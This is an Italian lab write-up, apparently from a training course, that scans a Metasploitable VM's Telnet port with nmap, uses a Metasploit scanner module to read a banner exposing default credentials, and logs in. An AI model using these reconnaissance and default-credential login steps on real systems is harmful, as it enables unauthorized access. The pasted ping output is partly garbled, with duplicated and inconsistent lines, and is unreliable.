SFRUTTARE LA VULNERABILITA' DI TELNET

Innanzitutto, settiamo le configurazioni di rete come richiesto dall'esercizio, cioè Kali con IP 192.168.1.25 e Metasploitable con IP 192.168.1.40:



GNU nano 6.4

This file describes the network in # and how to activate them. For more source /etc/network/interfaces.d/*

The loopback network interface auto lo iface lo inet loopback

auto eth0 iface eth0 inet static address 192.168.1.25/24 gateway 192.168.1.1

Testiamo la comunicazione con il ping in tutte e due le macchine:

```
msfadmin@metasploitable: "$ ping 192.168.1.25
PING 192.168.1.25 (192.168.1.25) 56(84) bytes of data.
64 bytes from 192.168.1.25: icmp_seq=1 ttl=64 time=0.465 ms
64 bytes from 192.168.1.25: icmp_seq=2 ttl=64 time=0.846 ms
64 bytes from 192.168.1.25: icmp_seq=3 ttl=64 time=0.495 ms
64 bytes from 192.168.1.25: icmp_seq=4 ttl=64 time=0.590 ms
64 bytes from 192.168.1.25: icmp_seq=5 ttl=64 time=0.616 ms
64 bytes from 192.168.1.25: icmp_seq=5 ttl=64 time=0.612 ms
64 bytes from 192.168.1.25: icmp_seq=6 ttl=64 time=0.612 ms
65 bytes from 192.168.1.25: icmp_seq=6 ttl=64 time=0.612 ms
67 bytes from 192.168.1.25 ping statistics ---
67 packets transmitted, 6 received, 0% packet loss, time 5007ms
67 packets transmitted, 6 received, 0% packet loss, time 5007ms
67 packets transmitted = 0.465/0.604/0.846/0.122 ms
68 packets transmitted = 0.465/0.604/0.846/0.122 ms
```

Fatto ciò, con nmap andiamo ad effettuare lo scan –sV sulla porta 23 (Telnet per l'appunto) per vedere se la porta e aperta e per scoprire la versione:

```
(kali® kali)-[~]
$ nmap -sV -p 23 192.168.1.40
Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-06 07:31 EST
Nmap scan report for 192.168.1.40
Host is up (0.0021s latency).

PORT STATE SERVICE VERSION
23/tcp open telnet Linux telnetd
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Per poter sfruttare l'eventuale vulnerabilità usiamo Metasploit tramite msfconsole; con search telnet andiamo a cercare gli exploit; quello che a noi interessa è il numero 35 "scanner/telnet/telnet_version", quindi facciamolo partire usando il comando use 35.

Settiamo le opzioni mancanti, in questo caso solamente set rhosts 192.168.1.40, cioè la macchina che vogliamo attaccare, e facciamo partire l'exploit con, per l'appunto, exploit:

Abbiamo intercettato quest'informazione che ci dice le credenziali per il login:

```
__ \x0a _ __ __ | |_ _ _ _ _ | | __ _ _ _ | | __ (_) |_ _ _ | | _ _ | | \x0a| '_ ` _ \ / _ \ _/ _^ / _ x0a| | | | | __ | \x0a | '_ ` _ \ / _ \ _/ _/ __ / _ / _ | | \x0a | | x0al_| | | x0a | | msfdev[at]metasploit.com\x0a\x0a\x0aLogin with msfadmin/msfadmin to get started\x0a\x0a\x0a\x0ametasploitable login:
```

Testiamo se le info sono vere: sempre su msfconsole digitiamo telnet seguito dall'indirizzo di Metasploitable; una volta connessi ci chiederà di effettuare il login, inseriamo i dati trovati tramite exploit che sono msfadmin sia per il nome utente che per la password:

```
<u>msf6</u> > telnet 192.168.1.40
 *] exec: telnet 192.168.1.40
Trying 192.168.1.40 ...
Connected to 192.168.1.40.
Escape character is '^]'.
Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com
Login with msfadmin/msfadmin to get started
metasploitable login: msfadmin
Password:
Last login: Tue Dec 6 04:20:56 EST 2022 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$
```

Come possiamo vedere dall'immagine in basso, il login è stato effettuato con successo, facciamo un'ulteriore prova con il comando uname –a che ci dice su quale sistema operativo siamo:

```
msfadmin@metasploitable:~$ id
uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(a
msfadmin@metasploitable:~$ uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
msfadmin@metasploitable:~$
```